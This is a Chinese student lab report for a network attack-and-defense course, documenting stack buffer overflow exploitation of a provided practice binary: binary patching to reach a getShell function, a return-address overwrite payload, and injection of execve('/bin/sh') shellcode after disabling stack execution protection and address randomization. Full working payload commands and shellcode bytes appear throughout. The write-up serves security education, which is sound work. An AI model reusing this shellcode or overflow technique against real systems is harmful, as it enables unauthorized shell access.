2019-2020-2 网络对抗技术 20175211 Exp1 PC平台逆向破解
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode
实践过程
直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
首先运行pwn1
文件,发现它的功能是原样输出输入的字符串
使用命令objdump -d pwn1 | more
反汇编elf文件
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码:
- NOP:空操作,机器码0x90
- JNE:不等则跳转,机器码0x75
- JE:相等则跳转,机器码0x74
- JMP:无条件跳转
- 段内直接短转Jmp short,机器码0xEB
- 段内直接近转移Jmp near,机器码0xE9
- 段内间接转移Jmp word,机器码0xFF
- 段间直接(远)转移Jmp far,机器码0xEA
- CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
可以发现这个elf文件里有三个函数,main
,foo
,getShell
,其中getShell
函数就是我们想让程序跳转到的地方
可以看到main
中有一条call
指令调用了foo
,我们要做的就是把这里改成call getShell
。这里的机器码是e8 d7 ff ff ff
,e8
是call
的机器码,后面的d7 ff ff ff
就是调用的foo
的地址。
这个值的算法是:用EIP的值减掉跳转地址的值,然后取补码;当然用跳转地址减EIP也是一样的。比如这里当程序运行到call
时,EIP指向下一条语句,也就是80484ba
,foo
函数的地址是8048491
,可以计算得出ff ff ff d7
,这里用小端法表示就和elf文件中一样了。
同样的方法我们可以算出如果要跳转到getShell
的话,这里应该是c3 ff ff ff
接下来我们用vim直接修改elf文件。可以先用readelf
命令看到各个段在文件中的偏移,其中保存着代码的.text
段是从380
开始,长度1c2
。
用vim打开文件,输入:%!xxd
,搜索d7ff
可以找到对应的地方,且在.text
段中,基本可以认定这就是我们要改的地方
把d7
改成c3
之后,输入:%!xxd -r
复原,然后保存退出。
此时在反汇编可以看到call getShell
再执行pwn1,发现可以getshell
通过构造输入参数,造成BOF攻击,改变程序执行流
main
函数调用foo
,首先执行push %ebp
将调用者基址压栈;然后mov
将%ebp
和%esp
设成一样的,作为当前函数的基址;sub
开辟栈帧,大小为0x38
;接下来为临时变量分配0x1c
的空间;在然后foo
函数调用了gets
,gets
会在不做任何检查的情况下将输入的字符串复制到栈中。
那我们要覆盖栈中的返回地址,就需要28+4=32
个字节
然后我们尝试覆盖,输入111122223333444455556666777788889999
共36个字节,然后程序报了段错误,此时EIP的值为9999
,这个地址是访问不了的,自然会报错,这也说明我们覆盖成功
接下来只要把这里的9999
改成我们想要程序跳转的地址就可以了,也就是getShell
的地址0804847d
,之前知道这个文件是小端序的,所以我们的输入应该是小端法输入。这里因为payload里有不可见字符,所以我们不能直接运行pwn1
,可以通过python或者perl的命令行加上管道符来实现,比如(python -c "print '11112222333344445555666677778888\x7d\x84\x04\x08'";cat) | ./pwn1
或者(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1
,其中cat
很关键,能维持交互的状态
注入Shellcode并执行
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
准备shellcode
针对不同的平台和不同的目的,可能会有多种shellcode,我们可以从著名的shellcode数据库http://shell-storm.org/shellcode/
去找一个适合的。
这里我们就直接使用老师提供的\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
这个shellcode的大概原理是:EAX被赋值为0Xb
,ECX入栈,/bin//sh
字符串入栈,并将其首地址赋给了EBX,执行int 80h
,触发中断,调用sys_execve("/bin//sh", 0, 0, 0)
,通过/bin/sh
软链接打开一个shell。
准备工作
要让注入的shellcode执行其实需要有一定条件,我们这里为了简化,需要关掉一些防护措施
execstack -s pwn1 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr + nop + shellcode
- nop + shellcode + retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
如果尝试nop + shellcode + retaddr
,我们最后会发现ret
之后push %ebx
的操作会把我们的shellcode覆盖。所以我们这里还是采用retaddr + nop + shellcode
的方法。
由于之前我们已经算出要覆盖retaddr需要的字节数,所以我们可以直接构造(perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./pwn1
去找地址。这里的nop\x90
其实没有也无所谓,因为我们很清楚地知道shellcode就在retaddr之后
ps
查看pid之后用gdbattach
,把断点断在foo()->ret
,这样我们可以看到我们注入的代码会溢出到哪。
c
执行代码,成功断下,info r esp
可以看到当前栈顶的地址,x/16x 0xffffd33c
查看此地址后面16字节的内容。不出意料,我们测试的retaddr在栈顶,只要把这个地址改为能运行到shellcode--也就是这后面4个字节开外的地方就行了。所以最终的payload就是0xffffd33c + 4 = 0xffffd340
,(perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./pwn1
成功getshell
实践拓展
卑微web手想体验一下pwn手的感觉,安装了IDA,gdb的peda、pwndbg插件和pwntools,我们换个手段再来一次。
首先checksec
判断一下防护情况,作为一个简单的例子,防护关的很干净。
我们在反汇编后知道这里有个BOF漏洞,利用的时候可以更简单一点。用cyclic 50
生成每4个字节不重复的字符串
用gdb打开pwn1,粘贴复制刚生成的字符串
运行后查看EIP的值为iaaa
再运行cyclic -l iaaa
就可以得到需要覆盖的偏移量。
gdb反汇编看一下getShell()
的地址
用pwntools来交互,很方便地getShell
感谢PwnKi师傅在线教学,二进制属实好玩
回答问题
实验收获与感想
栈溢出应该是最经典的二进制漏洞之一了,这种底层的漏洞往往需要技术人员有很扎实的基本功和对计算机系统的深入了解,我觉得越是这样接近底层,越是体现出信息安全人员geek的一面。不管怎么说,计算机是由人创造的,它的规则是有迹可循的,只要对程序运行的机制足够了解,完成这样的攻击不是难事。
什么是漏洞?漏洞有什么危害?
漏洞,是指计算机系统或者信息系统中安全方面,可以被他人利用的缺陷。
漏洞可能使得系统或数据的保密性、完整性、可用性等面临威胁。